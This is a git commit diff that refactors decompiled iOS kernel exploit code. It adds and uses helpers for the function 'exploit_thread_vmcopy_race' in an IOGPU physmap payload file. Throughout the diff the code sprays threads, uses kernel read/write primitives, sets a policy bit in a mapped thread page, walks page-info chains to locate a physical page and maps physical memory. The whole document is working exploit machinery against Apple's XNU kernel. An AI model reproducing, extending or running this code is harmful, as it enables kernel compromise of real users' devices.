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Extract vmcopy policy and page-info helpers

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khanhduytran0
2026-06-17 17:06:10 +07:00
parent 57c5bf65f7
commit e87bc0b73f
1 changed files with 45 additions and 26 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+45 -26
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@@ -173,6 +173,10 @@ enum
VMCOPY_MESSAGE_KADDR_OFFSET = 664,
VMCOPY_CAPTURED_THREAD_OFFSET = 672,
VMCOPY_THREAD_SPRAY_COUNT = 256,
VMCOPY_POLICY_MARK_XNU_MIN = 8796,
VMCOPY_POLICY_MARK_DEFAULT_OFFSET = 184,
VMCOPY_POLICY_MARK_LEGACY_CPU_OFFSET = 112,
VMCOPY_POLICY_MARK_BIT = 0x8000,
VMCOPY_MARKER32 = 0xC0C0C0C0u,
VMCOPY_MARKER64 = 0xC0C0C0C0C0C0C0C0ULL,
};
@@ -334,6 +338,26 @@ static inline void vmcopy_spray_threads_and_clear_prev_link(
}
}
static inline void vmcopy_mark_thread_policy_word_if_needed(
__int64 kreadCtx,
vm_address_t mappedThreadPage,
uint64_t threadKobject)
{
struct_krwCtx *krwCtx = KRWCTX_FROM_RAW_FIELD(kreadCtx, 32);
bool useLegacyCpuOffset = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
if ( krwCtx->xnuMajorVersion < VMCOPY_POLICY_MARK_XNU_MIN )
return;
uint64_t fieldOffset = VMCOPY_POLICY_MARK_DEFAULT_OFFSET;
if ( useLegacyCpuOffset )
fieldOffset = VMCOPY_POLICY_MARK_LEGACY_CPU_OFFSET;
uint32_t *policyWord = (uint32_t *)(mappedThreadPage + (threadKobject & 0x3FFF) + fieldOffset);
if ( (*policyWord & VMCOPY_POLICY_MARK_BIT) == 0 )
*policyWord |= VMCOPY_POLICY_MARK_BIT;
}
static inline void vmcopy_prepare_fake_thread_state(
__int64 state,
natural_t suspendedThreadState[0x44],
@@ -462,6 +486,25 @@ static inline uint64_t vmcopy_page_info_ref_from_addr(uint64_t addr, uint64_t pa
return (addr - linearBase) >> pageShift;
}
static inline uint64_t vmcopy_find_page_info_for_physical(
__int64 kreadCtx,
uint32_t firstRef,
uint64_t packedBase,
uint64_t linearBase,
uint32_t pageShift,
uint64_t physicalBase)
{
uint64_t pageInfo = vmcopy_page_info_addr_from_ref(firstRef, packedBase, linearBase, pageShift);
while ( kread_u64_value(kreadCtx, pageInfo + 24) != physicalBase )
{
uint32_t nextRef = kread_u32_value(kreadCtx, pageInfo + 8);
pageInfo = vmcopy_page_info_addr_from_ref(nextRef, packedBase, linearBase, pageShift);
}
return pageInfo;
}
static inline __int64 physmap_find_free_vm_region(vm_size_t requiredSize, vm_address_t *baseOut, vm_size_t *sizeOut)
{
vm_address_t regionAddress = 0;
@@ -8031,16 +8074,9 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
__int64 v47; // x8
__int64 v48; // x28
int v54; // w8
struct_krwCtx *v55; // x0
int v56; // w22
int v57; // w0
__int64 v58; // x9
unsigned __int64 v59; // x9
int v60; // w10
unsigned int v63; // w0
unsigned __int64 v64; // x22
unsigned __int64 v65; // x25
unsigned int v66; // w0
unsigned __int64 v67; // x8
__int64 v68; // x22
__int64 v69; // x0
@@ -8286,30 +8322,13 @@ LABEL_68:
v54 = 87;
continue;
}
v55 = KRWCTX_FROM_RAW_FIELD(*v2, 32);
v56 = v55->xnuMajorVersion;
v57 = krw_ctx_has_flag(v55, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
if ( v56 >= 8796 )
{
v58 = 184;
if ( v57 )
v58 = 112;
v59 = v58 + (v23 & 0x3FFF);
v60 = *(uint32_t *)(v59 + v152);
if ( (v60 & 0x8000) == 0 )
*(uint32_t *)(v152 + v59) = v60 | 0x8000;
}
vmcopy_mark_thread_policy_word_if_needed(*v2, v152, v23);
vmcopy_spray_threads_and_clear_prev_link(*v2, &v154, VMCOPY_THREAD_SPRAY_COUNT);
kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
v63 = kread_u32_value(*v2, v20);
v64 = v106;
v65 = vmcopy_page_info_addr_from_ref(v63, v109, v106, v159);
while ( kread_u64_value(*v2, v65 + 24) != v108 )
{
v66 = kread_u32_value(*v2, v65 + 8);
v65 = vmcopy_page_info_addr_from_ref(v66, v109, v64, v159);
}
v65 = vmcopy_find_page_info_for_physical(*v2, v63, v109, v106, v159, v108);
v67 = vmcopy_page_info_ref_from_addr(v65, v109, v64, v159);
v99 = v67;
v144 = vmcopy_map_physical_page(